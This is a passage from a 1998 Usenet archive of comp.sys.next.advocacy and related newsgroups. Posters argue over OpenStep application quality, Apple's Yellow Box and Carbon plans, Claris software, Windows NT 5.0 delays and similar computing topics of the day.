1 and TrueType) to accomplish it's layout features.
More info in: http://java.sun.com/products/java-media/2D/index.html
- --
Michael Peirce Java 2D Engineering Manager
Sun Microsystems Inc., JavaSoft Email: mpeirce@eng.sun.com
901 San Antonio Road, CUP02-301 Phone: +1.408.863.3480 (x53480)
Palo Alto, CA 94303 Fax: +1.408.255.2959
+++++++++
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
From: mark@ns1.oaai.com (Mark Onyschuk)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <slrn6u65a6.d5l.mark@ns1.oaai.com>
Sender: news@T-FCN.Net
Organization: M. Onyschuk and Associates Inc.
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net>
Date: Tue, 25 Aug 1998 19:48:07 GMT
In article <Ey9Avn.K3A@T-FCN.Net>, Maury Markowitz wrote:
>In <6rukm3$533$1@lwnws01.ne.highway1.com> John Kheit wrote:
>> Most software on most platforms, if not all, is crap.
>
> Ok let me restate it, most applications on OpenStep have lousy interfaces,
>tend not to follow rules, and have very little functionality. On other
>platforms this is simply not true. While they may be crap in one way or
>another, they are at least useful and typically powerful.
Hmm, this is a different definition of "follow the rules" than mine I guess.
On most other platforms, many applications use different flavours of standard
panels, their widgets behave slightly differently from app to app, etc.
Under OpenStep, this is almost never the case. I find that OpenStep apps
follow the rules very closely, because it's less work for the developer to
follow than to not.
I will grant that lots of OpenStep applications have aesthetically sub-par
interfaces - it's been a long day since commercial OpenStep development
has been much more than a labour of love, or at best something one might
moonlight in.
>> because after seeing it's crap, it's dismissed. Furthermore, I believe the
>> OPENSTEP dev environment makes it more difficult to produce software as
>> crappy as on other dev environments.
>
> Ahhh, but it also makes it _easier_ too. Many of the hair-pulling features
>I find in OpenStep applications exist apparently because the author was never
>exposed to anything outside the Unix world. Most OS apps have a very "unixy"
>flavour. This is why I hope my lack of a Unix background will be a good
>thing, and if my experience with GlyphiX is any sign, it's working out well.
I think I'd divide "Unixy" flavour into two - good "Unixy" flavour and bad
"Unixy" flavour.
When an app puts up an inspector panel where you're expected to type in a
fully qualified pathname, then of course that's bad "Unixy" flavour.
On the other hand, a quality that most OpenStep apps borrow from Unix
which sets them apart from typical apps on other desktop OSes, is their
simplicity - they tend to do one thing and they do it well. They're meant
to be used together via mechanisms like Services and the pasteboard.
I'd call this good "Unixy" flavour. Apps constructed like this promote
the concept of a "scalable" user interface.
So while sure, I'd agree that existing OpenStep apps could stand some filling
out in the features department, I'd argue that if we all just recreated the
bloatware so typical of other OSes, we'd be losing and important quality
of the OS.
>> That's pretty good general desktop coverage
>
> When people think of desktop coverage they think of word processing,
>spreadsheet, business graphics and simple database - and these days . Of
>these the only one OpenStep currently supplies in any really superby useable
>form is spreadsheets and business graphics. There is no reasonably midrange
>WP (FrameMaker doesn't count, WPerfect is dead, WriteUp is fairly "lite").
>There's nothing at all like FileMaker that I've seen. OmniWeb is pretty
>excellent though.
Stone Design's DataPhile is great.
> Basically it seems all apps on OpenStep fall into two rough groups. One
>are the apps from Lighthouse (and their clones). Then there's everything
>else. The everything else catagory seems to be populated largly by crud.
I certainly wouldn't go this far. A number of developers today and in past
have created extremely high quality apps competitive to offerings on other
platforms. Consider Caffeine's TIFFany, Sarrus' "Pencil Me In", Jayson
Adams' Notebook, apps like SuperDraw, or Tailor.
>> of time and developers that were in the market. And what makes the
>> environment more useful than going to say win/mac is the interaction
>> and interoperation in the OPENSTEP environment; the interaction
>> leverages the functionality of all the apps.
>
> This would be overwhelming if there was a good app in every catagory. But
>there isn't. Moreover the universality of this functionality has been muted
>by poor integration - for instance I can't drag a text file into this window.
>
> If I had all the time in the world I'd be addressing these issues one by
>one, but as it is I'm on lunch now and I've been trying to get a good fix for
>a single bug for two days. Grrrrr, fileWrappers BITE!!
>
>Maury
>
Mark
From: NerveGas <NerveGas@see_signature.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Date: Tue, 25 Aug 1998 13:06:25 -0600
Organization: Dept. of Chemical and Biological Warfare
Message-ID: <35E30B31.43C1@see_signature.com>
References: <35d525ad.0@news.depaul.edu> <35D72295.1D53@bellatlantic.net> <edewExt5HI.JBz@netcom.com> <kindall-1608982232400001@nic-c41-094.mw.mediaone.net> <not-1708980019050001@ip-26-188.phx.primenet.com> <35d84257.0@news.depaul.edu> <gmgraves-1708981017380001@sf-usr1-49-177.dialup.slip.net> <p.kerr-1808980857340001@news.auckland.ac.nz> <000035D8F15C.NO_UCE@mauve.demon.co.uk> <35d8f8dc.0@news.depaul.edu> <gmgraves-1808981126450001@sf-usr1-26-154.dialup.slip.net> <6rcjt8$3hv$1@callisto.acsu.buffalo.edu>
Mime-Version: 1.0
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> : But is the beam ITSELF visible red? It is possible that the laser
> : LED itself produces some red light INSIDE the laser diode, but
> : its the color of the laser beam itself that concerns us. If it is red,
> : then you would see a slim column of red light emitting from the
> : laser diode and striking the disc. (as in "Goldfinger" - "No Meester
> : Bond, I expect you to DIE!"). This would be visible from the side. No
> : visible red laser beam, then its not a red laser.
hehehehe.... yet another person who believes that what they see in
movies is real. you won't see *anything* coming out of a laser unless
it strikes something and reflects, I'll leave it to your research to
find out why.
steve
--
----------------------------------------
Domain name for replying is "inconnect".
----------------------------------------
From: hangtown_nospam@thelostweb.com (Scott Willsey)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 20:24:43 GMT
Message-ID: <35e31cbb.7905136@news.calweb.com>
References: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au>
MIME-Version: 1.0
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Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On Thu, 20 Aug 1998 18:46:11 +1000, Thomas King
<n2156075@student.fit.qut.edu.au> wrote:
>
>If your still using floppies, maybe you should consider the fact that
>floppys are dead - software doesn't come on them, backing up is a joke
>--back up 4Gb of video onto a floppies- "you are a dickhead!!!!!!!!"
>
They sure are nice for transporting files to non-networked computers.
Not everyone has zip drives, you know.
At the moment, I'm finishing up building my father in-law's computer.
I only have one monitor though, and the easiest way for me to transfer
two files that I want to copy to his pc is just to put them on floppy
and then when I hook the monitor up to his and boot it up, shove the
floppy in and get the files off of it.
Assuming that people who find a use for floppy drives are dickheads
says a lot about yourself. I thought university students were
supposed to be a little more intelligent than that, but I guess I'm
mistaken.
Scott
.................................................
Please edit the email address to reply
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 98 13:25:48 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2086BE0-AA378@206.165.43.137>
References: <joe.ragosta-2508981407340001@wil66.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy
Joe Ragosta said:
>Apple has a history of this (slow adoption of their cool new technologies
>in Claris apps). How long was OpenDoc out before Apple even announced that
>it would be included in ClarisWorks? And I don't think they _ever_
>announced that FileMaker would support OpenDoc.
Um?
Joe?
My recollection is that OD was NOT out when they first demoed ClarisWorks 5
with OPenDoc support. Certainly, the programming support for creating
container-apps wasn't out in its final form when they demoed CW 5 with OD.
ANd yes, FileMaker was supposed to support OD also.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: a prediction
Date: 25 Aug 1998 20:20:51 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rv6b3$34a@newsb.netnews.att.com>
Originator: gupta@tlctest
[ The newsfeed here has been flaky for a few days, so I don't
know if anyone has mentioned this yet ] : A kind reader of
these newsgroups pointed me towards this article :
URL : http://www.computerworld.com/home/print.nsf/all/980824648E
"Microsoft's never-ending story", by Frank Hayes, and a link
contained in that article, "Microsoft backpedals on NT 5.0".
http://www.computerworld.com/home/print.nsf/all/9808246496
Hayes writes :
"Windows NT 5.0 is hopelessly out of control. It's
a classic monster project run amok."
and that the current NT project should be killed, and begin anew
with whatever can be salvaged.
From the second link :
Randall Kennedy, an analyst at ...., said Microsoft officials he
has talked to are worrieda bout how bug-free and stable NT 5.0
will be.
"They're just realizing how much they've bitten off. If anythhing,
they're stepping back and thinking, `What did we do here?'"
Kennedy said. "This indicates they're worried about their ability
to deliver quality, and with 35 million lines of code, that's
understandable. They've told me they're not expecting significant
performance gains over NT 4."
****
Also, an Allchin quote about NT 5.0 is worth noting :
"Windows hasn't been very good about managing
shared [Dynamic Link Libraries]....We haven't solved
that problem"
****
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: a prediction
Date: 25 Aug 1998 20:33:18 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6rv72e$385@newsb.netnews.att.com>
Originator: gupta@tlctest
The PCWeek article :
http://www.zdnet.com/products/stories/reviews/0,4161,346124,00.html
"NT 5.0 Beta 2 shows signs of delays to come"
PCWeek reviewers are imporred by the "sheer scope of the
network operating system's features", but were worried by
"the frequent bugs and system crashes".
Also significant :
"Moshe Dunie, ...[vice president of MS Windows division]
said that even with round-the-clock NT 5.0 development
efforts, Microsoft cannot make a firm commitment on when
Beta 3 -- or the final product -- will be released".
PCWeek reports that NT 5.0 testing has led to "the
extermination of many long-existing fatal NT bugs", the
fixes for which will be put into a service pack for NT 4.0,
due by the end of the year.
***
Other items of interest :
http://www.zdnet.com/pcweek/news/0824/24beta.html
"The bugs in big betas" -- As beta tests bloat, users
rely more on own trials.
http://www.zdnet.com/pcweek/opinion/0824/24week.html
"Betas : Who's the damn customer anyway" by John Dodge.
-arun gupta
From: Jeff Barber <jtbarber@friend.ly.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Interesting aspect..
Date: Tue, 25 Aug 1998 16:48:26 -0400
Organization: Friendly Network
Message-ID: <35E3231A.18F3@friend.ly.net>
References: <6ru5hh$j64$2@sun27.hrz.tu-darmstadt.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Christian Neuss wrote:
>
> There's an interesting aspect to the figures quoted in the press
> which I'd like to share with you:
>
> According to press reports Apple is building about 8000 iMacs a day,
> and around 13% of buyers are replacing Wintel machines. Well,
> provided
> Apple sells iMacs as fast as they can make them (which is probably
> the case), this means that Microsoft is losing customers. At a rate
> of over 1000 users every 24 hours for the US alone. Not bad for a
> 'toy computer', I'd say. :-)
Except that Micro$oft is so huge and pervasive that they
manage to make money even in this situation. If Micro$oft
makes money with every VPC sold, and if VPC comes with these
iMacs, then Micro$oft is still making some money. The VPC
2.0 that I purchased also came with a W95 cdrom. I imagine
that Micro$oft made some money with the license in that deal.
Sort of frustrating that Micro$oft manages to eke out a win
even when it looks like a loss. I think that the only real
loser in the situation would be the h/w suppliers for
PC systems, unless they also make some h/w for Mac systems.
Jeff Barber
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 16:47:11 -0400
Organization: phenix@interpath.com
Message-ID: <1debsbg.1k10n2u13e5t1kN@roxboro0-060.dyn.interpath.net>
References: <don.brown-1208980859310001@dsm-ia3-10.ix.netcom.com> <B1F72C46-4D386@206.165.43.141> <joe.ragosta-1208981436470001@wil66.dol.net> <B1F737B2-78293@206.165.43.141> <joe.ragosta-1208981526060001@wil62.dol.net> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ril6a$sf4$1@nnrp1.dejanews.com> <1de345u.1f49y0m1g47syaN@roxboro0-018.dyn.interpath.net> <Ey1n3C.M7M@T-FCN.Net> <1de3z9s.1mg2ltk1osulo9N@roxboro0-018.dyn.interpath.net> <Ey212p.6qG@T-FCN.Net> <1de4det.3d9y5zmr82bmN@roxboro0-018.dyn.interpath.net> <joe.ragosta-2508981407340001@wil66.dol.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> phenix@interpath.com (John Moreno) wrote:
>
> > Which brings me back to my (almost) first point - where is the
> > announcement from apple that FileMaker has been either carbonized or
> > yb'd? It looks like it's a bluebox app, and that's it. This isn't
> > encouraging others to adopt "how easy can it be, apple hasn't done it?"
> > (referring to both carbon and yellow box).
> >
> > Both developers and users are taking a wait and see attitude towards all
> > of this because of past behavior, apple needs to counter this with
> > aggressive adoption of the new technology (FileMaker, ClarisWorks,
> > Emailer and any other app they have that they think wouldn't loose too
> > much money), and aggressive marketing of it (start selling preorders of
> > MacOSX for both the PPC and Intel). "This time we're coming out with a
> > new OS and we mean it".
>
> Apple has a history of this (slow adoption of their cool new technologies
> in Claris apps). How long was OpenDoc out before Apple even announced that
> it would be included in ClarisWorks? And I don't think they _ever_
> announced that FileMaker would support OpenDoc.
I'm not sure about FileMaker, but IIRC they started promising
ClarisWorks with OpenDoc soon after OD was actually released - they just
never delivered.
But - regardless of past behavior, *at the moment* such a announcement
is desperately needed. At the very /least/ they need to say they've
Carbonized it. Unlike OpenDoc this is something that they /have/ to get
accepted, and the best way to get it to be accepted is to show
confidence in it - and the best way to do /that/ is to start changing
over themselves.
I think they ought to be Carbonizing and resaling everything which they
don't think will cost them a ton of money - if they can release a new
Carbonized version of something (Emailer for example) and only loose a
few hundred grand then they should do so. That wouldn't be a loss it
would be a advertising expense (not that I think they couldn't sale
enough upgrades or new versions to make it break even, but that loosing
a little money to show confidence isn't a loss).
--
John Moreno
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 21:03:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv8r3$2ok$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net> <6rtuqk$csg$1@nnrp1.dejanews.com> <Ey92vn.G2o@T-FCN.Net>
In article <Ey92vn.G2o@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Hmmm. Is it possible that the event queue is being handled differently and
> it's getting stuffed? Could it be something like that?
By "stuffed" do you mean "filled to capacity?" My speculation, without any
evidence and limited knowledge, is that Rhapsody is deliberately suspending
the thread that is fetching events from the queue (how would they find out
which one?) when there is a menu down. This would make YB apps more
consistent with Carbon apps. Can anyone think of any other reasons that they
might do this?
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: spagiola@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 21:11:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv99o$3hu$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > > Dope. There isn't ENOUGH productivity software for OpenStep or Linux for
> > > one to BE productive (or to run such a study).
> >
> > This statement is clearly false, George. People are still using OpenStep
> for
> > buisness purposes because they find it to be more productive than any other
> > environment.
>
> Well I use OpenStep and would not dream of going back to "pure" MacOS for
> programming, but this statement overstates the case. I've looked at a lot of
> OS software, and most of it is crap. There's some real gems, apps that are
> simply untouchable anywhere else (Quantrix and Diagram come to mind - the
> later until I do my release that is) but for the most part the software is
> _very_ basic and not terribly clean. Basically I would never dream of using
> OS as my desktop productivity system, at least not yet.
I use NeXTSTEP on a 1991 NeXTstation as my primary work environment, in
preference over the NT4 pentium box my employer has placed on my desk. I use
a Powerbook on the road. I agree that the software selection for NeXTSTEP
isn't huge, but it's quite enough for me to do my work better than i can
under windows or, in my opinion, MacOS (in the latter case because the lack
of effective multitasking, not because of the lack of or quality of
software). And I'd have to disagree that NeXTSTEP software, at least, is
crude and unfinished (though some of it is). I never made the move to
OPENSTEP, so can't comment on that.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Help me decide
Date: Tue, 25 Aug 1998 21:11:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv99i$3hs$1@nnrp1.dejanews.com>
References: <000035D8F15C.NO_UCE@mauve.demon.co.uk> <uthant-1808981759220001@user-37kb5fb.dialup.mindspring.com> <enj-1808981701510001@kly12.slac.stanford.edu> <uthant-1808982144500001@user-38lcfud.dialup.mindspring.com> <enj-1908981623410001@kly12.slac.stanford.edu> <Pine.GSO.3.96.980819212153.19649B-100000@cardinal2.Stanford.EDU> <MPG.104806dd6ab5b6e19896c7@nntp.mindspring.com> <joe.ragosta-2208981507310001@elk34.dol.net> <Pine.LNX.3.96.980822190305.1042G-100000@paule> <35dfa35f.0@news.depaul.edu> <35E07EF4.94CAEF85@flash.net> <m3btpazge7.fsf@renttu.lnet.lut.fi> <mteh-ya02408000R2508980953090001@news.earthlink.net>
In article <mteh-ya02408000R2508980953090001@news.earthlink.net>,
mteh@earthlink.net (Oliver Ming-Teh Sun) wrote:
> If you like strategy/simulation/role-playing games, buy Bungie's Myth.
>
> It's available for Mac. Seriously.
I don't know why you bothered with this argument. Anyone can reply that Myth
is also available for Windows and so is <insert 10 favorite Windows-only
games>. I would pick Red Alert, BattleZone and Rainbow 6 to start.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 21:07:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv928$36f$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <Ey7AxH.JG7@T-FCN.Net> <35e195df.0@news.depaul.edu> <Ey7J0r.Ev@T-FCN.Net> <6rtut5$css$1@nnrp1.dejanews.com> <6ruhgv$3i0$1@lwnws01.ne.highway1.com>
In article <6ruhgv$3i0$1@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> Gosh I hope you're wrong on the reasons, but they do seem like ones apple
> would employ.
My theory hinges on the fact that Apple had the idea of having Carbon apps
acting as peers to YB apps before DR2 shipped. If that is not true then my
explanation is not true. Still, that is the only explanation, that I can think
of, of why Apple would make the menu handling worse.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 25 Aug 1998 21:25:56 GMT
Organization: Primenet (602)416-7000
Message-ID: <6rva54$f1o$1@nnrp02.primenet.com>
References: <6ruu5v$ckb$1@nnrp02.primenet.com> <B208638D-8AE86@206.165.43.137>
Lawson English <english@primenet.com> wrote:
: John Jensen <jjens@primenet.com> said:
: >: Actually, Taligent graphics was a direct descendent of GX, and certainly
: >: not of OpenStep. As to whether or not it was slow and why, you'd have to
: >: track down some former Taligent engineers and ask.
: >
: >And Java2D is a direct descendent of Taligent graphics, therefore ...
: Not that I'm aware of. My understanding is that Java2D uses Taligent
: typography, which is descended from GX's, but the overall structure is
: still non-object-oriented, much less than GX's, letalone Taligent's.
: Here's what Michael Peirce said on the subject in the GX-talk mailing
: list:
In my perusal of Java2D I see lots of objects, perhaps they are not
oriented as you would like?
John
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 25 Aug 1998 21:24:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rva2o$4cf$1@nnrp1.dejanews.com>
References: <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6riimr$3r8$1@lwnws01.ne.highway1.com> <6rj31o$css$1@nnrp1.dejanews.com> <6rk08i$6ur$2@lwnws01.ne.highway1.com> <6rkh6m$666$1@nnrp1.dejanews.com> <6rmjvi$41l$1@lwnws01.ne.highway1.com> <6rn6ea$42n$1@nnrp1.dejanews.com> <6rnjl3$pmt$2@lwnws01.ne.highway1.com> <6rq3f1$jp0@news1.panix.com> <6rqqk1$oae$1@lwnws01.ne.highway1.com> <6rtu36$c2j$1@nnrp1.dejanews.com> <6ruhkm$3i0$2@lwnws01.ne.highway1.com>
In article <6ruhkm$3i0$2@lwnws01.ne.highway1.com>,
jkheit@mediaone.net wrote:
> Most ain't all.
But pascal code is more readable then C code.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 21:16:32 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rv9jg$3vj$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rqtpo$p7k$1@nnrp1.dejanews.com> <gmgraves-2408981002580001@sf-usr1-38-166.dialup.slip.net> <6rtuo3$cqu$1@nnrp1.dejanews.com> <Ey92Ev.FuK@T-FCN.Net>
In article <Ey92Ev.FuK@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Depends entirely on your usage patterns. If you use a lot of programs,
> this is indeed an issue to be concerned about. Also don't forget that using
> any application is an ongoing learning process, you don't "know" everything
> about an app the first time you use it and thus the required effort to
> continue to pick up new tools is very much an issue as well.
So you are saying that the GUI design can make individual applications
harder/easier to learn. I agree and the consistence of Mac OS applications
would be very useful here.
> But sadly, making little scripts is well beyond the ability of the VAST
> majority of the comuter using public. These utilities need to exist, and to
> work well.
Then we need a range of productivity studies. I hate how the studies seem to
focus on people with very limited technical knowledge and limited needs. It
makes them largely irrelevant for me.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 25 Aug 1998 21:31:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rvag9$51t$1@nnrp1.dejanews.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net>
In article <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Word is available for OpenStep? Excel? CorelDraw? Illustrator? Filemaker?
> PowerPoint? If not, then a comparison can't be done. MacOS vs Win CAN be
> done because of the number of productivity apps that are the same for both
> systems. It gives one a basis for comparison. Not the same thing as comparing
> Excel to some semi-custom spreadsheet on OpenStep.
You don't necessarily need particular applications to be productive. But you
do realise, of course, that you are refuting your own claim. If testing
cannot be done then, of course, testing was not done and your original claim
is false.
> You want it restated? OK I'll restate it. "Of the two useful operating
> systems available to business today (Win95/98/NT and MacOS), MacOS has been
> found, time and time again, to be the more productive for the average
> computer user. The Mac ROI is higher, and the cost of ownership over the
> life of the computer is appreciably lower."
You would have been better to avoid the "Of the two useful operating systems
available to business today..." part because it is totally dependant on your
buisness. Macs are pretty useless for SV and RAD. OpenStep and Windows are
better for both.
--
Brian Quinlan
quinlan@intergate.bc.ca
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 25 Aug 1998 21:39:11 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rvatv$kh6$1@lwnws01.ne.highway1.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6rukm3$533$1@lwnws01.ne.highway1.com> John Kheit wrote:
> > Most software on most platforms, if not all, is crap.
>
> Ok let me restate it, most applications on OpenStep have lousy
> interfaces,
> tend not to follow rules, and have very little functionality.
> On other platforms this is simply not true. While they may be
> crap in one way or another, they are at least useful and typically
> powerful.
That is exactly the opposite of my experience. True, few openstep apps have
puke colored icons put there for the sake of giving the perwinkle group a
jones. The rest use standard panels, widgets, etc. because it would take moe
work to make up your own. Thus I don't see the UI slide like on the mac
where every app has it's own "new and improved" UI changing the look, the
feel, and function of standard widgets. It's not even close IMO. Clearly
YMV.
> Then let me rephrase it that way too. While there is a lot of
> powerful
> software under Mac and Win, there is very little under OpenStep.
> There's not even a good ClarisWorks, this newsreader is "functional"
> (and it's the best of them), mail readers are terribly lacking
> in functionality, etc.. There are a few bright spots, but for
I disagree on the mail. News there's Radical News which does have a lot of
function, but I don't like because they like many mac developers, decided
they can improve on the UI.
> the most part the productivity apps on OpenStep are lacking to
> say the least.
Absolutely true. While many of the apps are good in UI, IMO (I know you
differ), they are very simple. But with OPENSTEP I get to leverage other
apps to fill in most of those gaps. No doubt the addition of a huge
commercial market could and should drastically improve the functional set.
For crying out loud, I'd kill for a wordprocessor that could do TOA, TOC,
etc.
> > because after seeing it's crap, it's dismissed. Furthermore,
> > I believe the OPENSTEP dev environment makes it more difficult
> > to produce software as crappy as on other dev environments.
>
> Ahhh, but it also makes it _easier_ too. Many of the hair-pulling
> features
> I find in OpenStep applications exist apparently because the
> author was never exposed to anything outside the Unix world.
> Most OS apps have a very "unixy" flavour. This is why I hope my
> lack of a Unix background will be a good thing, and if my experience
> with GlyphiX is any sign, it's working out well.
I completely disagree. If it weren't for the ease of development you'd have
ZERO of those utils. Those were people that hacked together quick front ends
to unix tools. A great improvement over having to use the unix tool. It's
no different on the mac. You want to use telnet? It's still a window. You
still type commands. You might have some pull downs that paste in commands
for you and that's it. That's the nature of an app when by design you want
to interoperate with the unix standard, by and large. Of course there is
always room to build a better app with *significantly* more time and effort.
Netsurfer's ftp client comes to mind. But I'd rather have a quick and dirty
hack to a unix util than not have any interface other than the unix command
line.
> > That's pretty good general desktop coverage
>
> When people think of desktop coverage they think of word
> processing,
> spreadsheet, business graphics and simple database - and these
> days . Of these the only one OpenStep currently supplies in any
> really superby useable form is spreadsheets and business graphics.
> There is no reasonably midrange WP (FrameMaker doesn't count,
Frame counts for me. It counts for others too.
> WPerfect is dead, WriteUp is fairly "lite"). There's nothing at
So what that it's dead? It still works for those of us using it. I'm
talking about current coverage for current users. Of course the OPENSTEP
market currently is dead!? It's a dead product. For those that use
WordPerfect or Frame we got WP covered. True they are older versions, but by
interoperating with other apps via OPENSTEP those shortcommings wash away for
the most part, not completely. But in other aspects that interaction gets
much more than going back to the mac or windows. It's this way for at least
a sizable portion of NeXT users from what I've come accross.
> all like FileMaker that I've seen. OmniWeb is pretty excellent
> though.
DataPhile.
> Mail app is horrid. The interface is terrible (try opening
> two messages in
> the same folder at the same time), the quoter basically doesn't
You're on crack imo. I've seen and had to use other mailers and they all
suck the fermented exriment from the dung eaters in comparison. Clearly YMV.
> work right (no wrapping that really works), the MIME is unreadable
Enhancemail.bundle, particularly the latest version, does some of the most
powerful and coolest quoting. MIME completely works for me from any other
mailer.
> for any other mailer, there's no filtering, the address book is
Filtering can be done by procmail, but I agree that is completely missing
otherwise.
> horrid etc. RadicalNews is functional, but even minor things
The address book definatly could use improvement.
> make it break (like long references lines) it breaks threads for
> no apparent reason, and it follows the mail app interface.
